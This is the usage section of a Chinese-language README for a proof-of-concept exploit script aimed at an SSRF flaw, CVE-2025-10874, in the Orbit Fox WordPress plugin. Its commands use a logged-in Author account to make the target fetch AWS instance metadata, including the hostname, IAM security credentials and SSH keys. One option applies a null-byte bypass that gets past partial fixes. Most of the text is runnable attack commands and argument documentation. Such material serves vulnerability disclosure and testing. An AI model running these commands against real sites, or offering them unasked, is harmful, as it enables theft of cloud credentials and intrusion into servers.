# 克隆仓库
git clone <repository-url>
cd Orbit-Fox_SSRF_CVE-2025-10874

# 安装依赖（使用 uv）
uv sync

# 或使用 pip
pip install requests urllib3

# 提取 AWS 实例主机名（默认目标）
python orbit_fox_poc.py http://target.com -u author -p password123

# 指定自定义 SSRF 目标 URL
python orbit_fox_poc.py http://target.com -u author -p password123 \
  -s http://169.254.169.254/latest/meta-data/hostname

# 提取 IAM 角色凭据
python orbit_fox_poc.py http://target.com -u author -p password123 \
  -s http://169.254.169.254/latest/meta-data/iam/security-credentials/

# 提取 SSH 公钥
python orbit_fox_poc.py http://target.com -u author -p password123 \
  -s http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key

# 不使用空字节绕过进行测试（在已修补版本上会失败）
python orbit_fox_poc.py http://target.com -u author -p password123 --no-nullbyte

# 启用调试输出以进行故障排查
python orbit_fox_poc.py http://target.com -u author -p password123 --debug

位置参数：
  target                目标 WordPress URL（例如 http://example.com）

必需参数：
  -u, --username        WordPress 用户名（需要 Author+ 角色）
  -p, --password        WordPress 密码

可选参数：
  -h, --help            显示帮助信息并退出
  -s, --ssrf-url        通过 SSRF 请求的 URL
                        （默认：http://169.254.169.254/latest/meta-data/hostname）
  --no-nullbyte         禁用空字节绕过（仅测试基本 SSRF）
  --debug               启用调试输出以进行故障排查